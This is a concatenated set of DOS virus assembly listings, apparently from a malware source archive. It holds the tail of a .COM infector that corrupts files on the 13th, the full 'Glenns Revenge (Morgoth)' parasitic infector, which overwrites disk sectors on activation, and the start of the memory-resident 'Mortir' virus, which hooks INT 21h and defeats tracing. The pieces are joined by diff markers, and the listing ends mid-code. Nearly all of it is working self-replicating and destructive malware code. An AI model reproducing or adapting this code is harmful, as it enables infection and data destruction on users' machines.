MOV AL,0F2H ; New INT-vector will
MOV DX,7777H ; be DS:7777h
INT 21H ;
JMP SHORT Hook_INT_20h ; (2A10)
NOP
INT_F2_Already_Hooked:
JMP SHORT Start_Trigger_Check
NOP
Hook_INT_20h:
MOV AL,20H ;
MOV AH,35H ; Get the INT 20h Vector
INT 21H ; into ES:BX
MOV DX,ES ;
MOV ES,BP ;
PUSH SI ;
MOV AX,SI ;
SUB AX,1CAH ;
MOV DI,SI ;
SUB DI,1F2H ;
SUB AX,DI ;
MOV SI,AX ;
MOV ES:[SI],BX ;
ADD SI,2 ;
MOV ES:[SI],DX ;
SUB SI,4 ;
MOV ES:[SI],AX ;
POP SI ;
PUSH CS ;
POP ES ;
MOV AH,25H ; Install new INT 20h
MOV DS,BP ; vector to DS:DX
MOV DX,0 ; (=DS:00)
MOV AL,20H ;
INT 21H ;
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ Start Trigger Check ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
Start_Trigger_Check:
POP BP ; Restore Registers
POP DI
POP SI
POP ES
POP DS
POP DX
POP CX
POP BX
POP AX
MOV AH,2AH ; Get the current date
INT 21H ; CX=year, DX=mon/day
CMP DL,0DH ; Is it the 13th of the month?
JNE Start_Infecting_File ; No
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ It is the 13th of the Month... Select 1 out of 3 destructions ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
MOV AH,2CH ; Get current time
INT 21H ; CX=hrs/min, DX=sec/hund.sec
CMP DL,3CH ; Are we above 60/100 seconds?
JA Destruction_2 ; Yes
CMP DL,1EH ; Are we above 30/100 seconds?
JA Destruction_3 ; Yes
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ Destruction Scheme 1: Place the following code at the begining of a ÛÛ
;ÛÛ file: MOV AH,00 ÛÛ
;ÛÛ INT 20h ÛÛ
;ÛÛ NOP ÛÛ
;ÛÛ ÛÛ
;ÛÛ When a file is executed with this code at the begining, the program ÛÛ
;ÛÛ will terminate at once with returning to DOS. ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
MOV DX,SI
ADD DX,21H
JMP SHORT Write_5_Destruction_Bytes
NOP
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ Destruction Scheme 2: Place the following code at the begining of a ÛÛ
;ÛÛ file: HLT ÛÛ
;ÛÛ HLT ÛÛ
;ÛÛ HLT ÛÛ
;ÛÛ HLT ÛÛ
;ÛÛ DB CDh (which is the opcode for INT) ÛÛ
;ÛÛ ÛÛ
;ÛÛ When a file is executed with this code at the begining, the program ÛÛ
;ÛÛ will execute the 4 HLT's and then perform an INT-Call depending on ÛÛ
;ÛÛ the byte following CDh. This can be any INT-Call. So this scheme ÛÛ
;ÛÛ can be consisered the dangeroust of all three destruction schemes. ÛÛ
;ÛÛ will terminate at once with returning to DOS. The first five bytes ÛÛ
;ÛÛ of a file will be overwritten always, making the file useless, but ÛÛ
;ÛÛ issuing and 'random' INT-Call can do much more harm. ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
Destruction_2:
MOV DX,SI
ADD DX,79H
JMP SHORT Write_5_Destruction_Bytes
NOP
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ Destruction Scheme 3: Place the following code at the begining of a ÛÛ
;ÛÛ file: INT 19h ÛÛ
;ÛÛ INT 19h ÛÛ
;ÛÛ DB ? (Can be anything. It is the 1st byte of the org.file) ÛÛ
;ÛÛ ÛÛ
;ÛÛ When a file is executed with this code at the begining, the program ÛÛ
;ÛÛ will cause a reboot without a memory test and preserving the ÛÛ
;ÛÛ interrupt vectors. If any interrupt vector from 00h through 1Ch has ÛÛ
;ÛÛ been set, the system most likely will hang itself, because of this ÛÛ
;ÛÛ preserving. ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
Destruction_3:
MOV DX,SI
ADD DX,7DH
JMP SHORT Write_5_Destruction_Bytes
NOP
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ Write the 5 bytes with the destruction to the begining of the file ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
Write_5_Destruction_Bytes:
MOV AH,40H ;
MOV CX,5 ;
INT 21H ; Write 5 bytes to the file
JMP SHORT Set_FileDate_Time_Back
NOP
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ It is not the 13th of the month... Infect the file ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
Start_Infecting_File:
MOV AH,3FH ;
MOV CX,3 ; Number of bytes to read
MOV DX,0AH ;
ADD DX,SI ;
INT 21H ; Read the bytes from the file
; and put them at DS:DX
JC Set_FileDate_Time_Back ; If Error Occurred
CMP AL,3 ; 3 Bytes read?
JNE Set_FileDate_Time_Back ; No
MOV AX,4202H ; Set the Read/Write
MOV CX,0 ; pointer to the EOF at
MOV DX,0 ; offset CX:DX (=00:00)
INT 21H ;
MOV CX,AX ; CX=Length of File
SUB AX,3 ;
MOV [SI+0EH],AX ; Store Length -3 bytes
ADD CX,41DH ; CX=CX+41Dh
MOV DI,SI
SUB DI,318H
MOV [DI],CX ; Set new Virus Data Area
; Address into code
MOV AH,40H ;
MOV CX,3ABH ; CX=3ABh The length of the
; viral-code written to disk.
MOV DX,SI
SUB DX,31DH ; DX points at the start of
; the virus code
INT 21H ; Write the viral-code to the
; file
JC Set_FileDate_Time_Back ; If an error occured
CMP AX,3ABH ; 3ABh bytes written?
JNE Set_FileDate_Time_Back ; No
MOV AX,4200H ; Move Read/Write Pointer to
MOV CX,0 ; the beginning of the file
MOV DX,0 ; at offset CX:DX(=00:00)
INT 21H ;
MOV AH,40H ; Write the 1st three new
MOV CX,3 ; bytes to the file. These
MOV DX,SI ; bytes contain the JMP
ADD DX,0DH ; instruction to the virus.
INT 21H ;
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ Set File-Time/Date back ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
Set_FileDate_Time_Back:
MOV DX,[SI+6] ; Get File-Date
MOV CX,[SI+4] ; Get File-Time
MOV AX,5701H ; Set back the File-Time and
INT 21H ; Date stamps
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ Close the File ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
MOV AH,3EH ;
INT 21H ; Close the File
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ Set File Attribute back ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
Set_FileAttributes_Back:
MOV AX,4301H ;
MOV CX,[SI+8] ; Get File Attribute
MOV DX,26H ;
ADD DX,SI ;
INT 21H ; Set File Attribute
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ Restore Org DTA address ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
Restore_Org_DTA:
PUSH DS
MOV AH,1AH
MOV DX,[SI] ; Get Original DTA
MOV DS,[SI+2] ; address
INT 21H ; St DTA to ds:dx
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ Put 3 Original 1st three bytes in place and execute original program ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
POP DS ; Restore DS
PUSH SI ; Store SI
CLD ;
ADD SI,81H ; Address where the 1st three
; bytes can be found.
MOV DI,100H ; Destination Address
MOV CX,3 ; Number of bytes to move
REP MOVSB ; Move the bytes
POP SI ; Restore SI
POP CX ; Restore CX
XOR AX,AX ; Zero register
XOR BX,BX ; Zero register
XOR DX,DX ; Zero register
XOR SI,SI ; Zero register
MOV DI,100H
PUSH DI ; Store DI
XOR DI,DI ; Zero register
RET 0FFFFH ; Terminate Virus-Code and
; execute original program.
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ Virus Data Area ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
ORG_DTA_ADD: DW ? ; Storing place for BX of
; original DTA
DW ? ; Storing place for ES of
; original DTA
File_Time: DW ? ; Storing place for the
; filetime of the file
Date: DW ? ; Storing place for the
; filedate
Attrib: DW ? ; Storing place for the
; file attributes.
Three_Bytes: DB 0E9h, 27h, 03h
First_New_Byte: DB 0E9h ; First new byte of the
; the infected file. This is
; the jump instruction.
Length_Min_3: DB 0Dh, 27h ; Also new address to jump
; to for the virus on exe-
; cution, 2nd and 3rd new byte
Search_Spec: DB '*.COM',00h
Path_Add_Org: DW 00,05
Path_Add_Vir: DW '6M'
DB 'PATH=', 00, 00
Destruc_Code_1: DB 0B4h, 0h, 0CDh, 20h, 90h
File_Path: DB 'VIRCOM.COM' ; Filename including PATH
DB 30 DUP(0)
New_DTA:
DB 02
DB '????????COM'
DB 03, 11H
DB 7 DUP (0)
DB 20H, 80H, 12H, 17H, 15H, 10H
DB 27H, 0, 0
FileName: DB 'VIRCOM.COM', 00h, 00h, 00h
Destruc_Code_2: DB 0F4H, 0F4H, 0F4H, 0F4H
Destruc_Code_3: DB 0CDH, 19H, 0CDH, 19H, 0E9H
First_3_Bytes: DB 0E9h, 45h, 45h
Notice: DB '(C) Monxla'
Time ENDP
SEG_A ENDS
END START

+254
View File
@@ -0,0 +1,254 @@
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Glenns Revenge (Morgoth) ³
;ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
;³ This will be a Parasytic Non-Resident .COM infector. ³
;³ It will also infect COMMAND.COM. ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
;
;
;
;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; This will contain the segment status, original start, pre-defined
; defenitions, and public settings.
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
.MODEL TINY
Public VirLen,MovLen,PutMsg
Code Segment para 'Code'
Assume Cs:Code,Ds:Code,Es:Code
Org 100h
Signature Equ 0Addeh ; Signature of virus is DEAD!
BegMonthAct Equ 8 ; Begin Month of activation
EndMonthAct Equ 8 ; End Month of activation
BegDayAct Equ 3 ; Begin Day of activation
EndDayAct Equ 18 ; End Day of activation
ActString Equ CR,LF,'This Personal Computer has been struck by the uncurable disease that is',CR,LF,'called "The Doom of Morgoth".',CR,LF,EOM
CR Equ 13 ; Return
LF Equ 10 ; Linefeed
EOM Equ '$' ; Einde Tekst
Buff1 Equ 0F000h
Buff2 Equ Buff1+2
VirLen Equ Offset Einde-Offset Begin
MovLen Equ Offset Einde-Offset Mover
Proggie Equ Offset DTA+1Eh
MinLen Equ Virlen+10 ;Minimale lengte te besmetten programma
MaxLen Equ 0EF00h ; Maximale lengte te besmetten programma
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; This will contain only macros, for pieces of code which will be
; used very often.
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; This part will contain the actual virus code, for searching the
; next victim and infection of it.
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Begin:
Jmp Short OverSig ; Sprong naar Oversig vanwege kenmerk
DW Signature ; Herkenningsteken virus
Oversig:
Pushf ;------------------
Push AX ; Alle registers opslaan voor
Push BX ; later gebruik van het programma
Push CX ;
Push DX ;
Push DS ;
Push ES ;
Push SS ;
Push SI ;
Push DI ;------------------
Mov AH,2Ah ;------------------
Int 21h ; Systeemdatum vergelijken met
Cmp DH,BegMonthAct ; activatiedatum. Als dit gelijk is
Jb InfectPart ; moet word PutMsg aangeroepen, anders
Cmp DH,EndMonthAct ; wordt InfectPart aangeroepen.
Jg InfectPart ;
Cmp DL,BegDayAct ;
Jb InfectPart ;
Cmp DL,EndDayAct ;
Jg InfectPart ;------------------
PutMsg: Mov AH,09h ; Activatiebericht wordt getoont en
Mov DX,Offset Msg ; de eerste 80 sectoren van de C
Int 21h ; drive worden volgeschreven met
Int 20h ;
Mov AL,2 ; onzin. Computer is vastgelopen :
Mov CX,80 ; RESET!
Mov DX,0 ;
Int 26h ;
Vastgezet: Jmp Vastgezet ;------------------
InfectPart:
Mov AX,Sprong ;------------------
Mov Buf1,AX ; Spronggegevens bewaren om
Mov BX,Source ; besmette programma te starten
Mov Buf2,BX ;------------------
Mov AH,1Ah ; DTA area instellen op
Lea DX,DTA ; $DTA area
Int 21h ;------------------
Vindeerst: Mov AH,4Eh ; Zoeken naar 1e .COM file in directory
Mov Cx,1 ;
Lea DX,FindPath ;
Int 21h ;------------------
Jnc KijkInfected ; Geen gevonden, goto Afgelopen
Jmp Afgelopen ;------------------
KijkInfected:
Mov DX,DTA+1Ah ;------------------
Cmp DX,MinLen ; Kijken of programmalengte voldoet
Jb ZoekNext ; aan de eisen van het virus
Mov DX,MaxLen ; (langer dan virus)
Cmp DX,DTA+1Ah ;
Jb ZoekNext ;------------------
On2: Mov AH,3Dh ; Zo ja , file openen en file handle
Mov AL,2 ; opslaan
Mov DX,Proggie ;
Int 21h ;
Mov FH,AX ;------------------
Mov BX,AX ;
Mov AH,3Fh ; Lezen 1e 4 bytes van een file met
Mov CX,4 ; een mogelijk kenmerk van het virus
Mov DX,Buff1 ;
Int 21h ;------------------
Sluiten: Mov AH,3Eh ; File weer sluiten
Int 21h ;------------------
Mov AX,CS:[Buff2] ; Vergelijken inhoud lokatie Buff1+2
Cmp AX,Signature ; met Signature. Niet gelijk : Zoeknext
Jz ZoekNext ;------------------
Jmp Infect
ZoekNext:
Mov AH,4Fh ;------------------
Int 21h ; Zoeken naar volgende .COM file
Jnc KijkInfected ; Geen gevonden, goto Afgelopen
Jmp Afgelopen ;------------------
Infect:
Mov AH,43h ;------------------
Mov AL,0 ; Eventuele schrijf-
Mov DX,Proggie ; beveiliging weghalen
Int 21h ; van het programma
Mov AH,43h ;
Mov AL,1 ;
And CX,11111110b ;
Int 21h ;------------------
Mov AH,3Dh ; Bestand openen
Mov AL,2 ;
Mov DX,Proggie ;
Int 21h ;------------------
Mov FH,AX ; Opslaan op stack van
Mov BX,AX ; datum voor later gebruik
Mov AH,57H ;
Mov AL,0 ;
Int 21h ;
Push CX ;
Push DX ;------------------
Mov AH,3Fh ; Inlezen van eerste deel van het
Mov CX,VirLen+2 ; programma om later terug te
Mov DX,Buff1 ; kunnen plaatsen.
Int 21h ;------------------
Mov AH,42H ; File Pointer weer naar het
Mov AL,2 ; einde van het programma
Xor CX,CX ; zetten
Xor DX,DX ;
Int 21h ;------------------
Xor DX,DX ; Bepalen van de variabele sprongen
Add AX,100h ; in het virus (move-routine)
Mov Sprong,AX ;
Add AX,MovLen ;
Mov Source,AX ;------------------
Mov AH,40H ; Move routine bewaren aan
Mov DX,Offset Mover ; einde van file
Mov CX,MovLen ;
Int 21h ;------------------
Mov AH,40H ; Eerste deel programma aan-
Mov DX,Buff1 ; voegen na Move routine
Mov CX,VirLen ;
Int 21h ;------------------
Mov AH,42h ; File Pointer weer naar
Mov AL,0 ; het begin van file
Xor CX,CX ; sturen
Xor DX,DX ;
Int 21h ;------------------
Mov AH,40h ; En programma overschrijven
Mov DX,Offset Begin ; met code van het virus
Mov CX,VirLen ;
Int 21h ;------------------
Mov AH,57h ; Datum van aangesproken file
Mov AL,1 ; weer herstellen
Pop DX ;
Pop CX ;
Int 21h ;------------------
Mov AH,3Eh ; Sluiten file
Int 21h ;------------------
Afgelopen: Mov BX,Buf2 ; Sprongvariabelen weer
Mov Source,BX ; op normaal zetten voor
Mov AX,Buf1 ; de Move routine
Mov Sprong,AX ;------------------
Mov AH,1Ah ; DTA adres weer op normaal
Mov Dx,80h ; zetten en naar de Move
Int 21h ; routine springen
Jmp CS:[Sprong] ;------------------
Msg db ActString
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; All variables are stored in here, like filehandle, date/time,
; search path and various buffers.
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
FH DW 0
FindPath DB '*.COM',0
Buf1 DW 0
Buf2 DW 0
Sprong DW 0
Source DW 0
DTA DW 64 DUP(?)
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; This will contain the relocator routine, located at the end of
; the ORIGINAL file. This will tranfer the 1st part of the program
; to it's original place.
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Mover:
Mov DI,Offset Begin ;------------------
Mov SI,Source ; Verplaatsen van het 1e deel
Mov CX,VirLen-1 ; van het programma, wat achter
Movsb ; deze verplaatsroutine staat.
Rep Movsb ;------------------
Pop DI ; Opgeslagen registers weer
Pop SI ; terugzetten op originele
Pop SS ; waarde en springen naar
Pop ES ; het begin van het programma
Pop DS ; (waar nu het virus niet meer
Pop DX ; staat)
Pop CX ;
Pop BX ;
Pop AX ;
Popf ;
Mov BX,100h ;
Jmp BX ;------------------
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Only the end of the virus is stored in here.
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Einde db 0
Code Ends
End Begin
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+470
View File
@@ -0,0 +1,470 @@
; mortir.asm : Mortir - le virus de francais
; Created with Biological Warfare - Version 0.90á by MnemoniX
PING equ 0D8FAh
PONG equ 0F2BEh
STAMP equ 17
MARKER equ 06971h
code segment
org 0
assume cs:code,ds:code
start:
db 0E9h,3,0 ; to virus
host:
db 0CDh,20h,0 ; host program
virus_begin:
push ds es
call $ + 3 ; BP is instruction ptr.
pop bp
sub bp,offset $ - 1
xor ax,ax ; mild anti-trace code
mov es,ax ; kill interrupts 1 & 3
mov di,6
stosw
mov di,14
stosw
in al,21h ; lock out & reopen keyboard
xor al,2
out 21h,al
xor al,2
out 21h,al
mov ax,PING ; test for residency
int 21h
cmp bx,PONG
je installed
mov ax,es ; Get PSP
dec ax
mov ds,ax ; Get MCB
sub word ptr ds:[3],((MEM_SIZE+1023) / 1024) * 64
sub word ptr ds:[12h],((MEM_SIZE+1023) / 1024) * 64
mov es,word ptr ds:[12h]
push cs ; copy virus into memory
pop ds
xor di,di
mov si,bp
mov cx,(virus_end - start) / 2 + 1
rep movsw
xor ax,ax ; capture interrupts
mov ds,ax
mov si,21h * 4 ; get original int 21
mov di,offset old_int_21
movsw
movsw
mov word ptr ds:[si - 4],offset new_int_21
mov ds:[si - 2],es ; and set new int 21
installed:
call activate ; activation routine
pop es ds ; restore segregs
cmp sp,MARKER ; check for .EXE
je exe_exit
com_exit:
lea si,[bp + host] ; restore host program
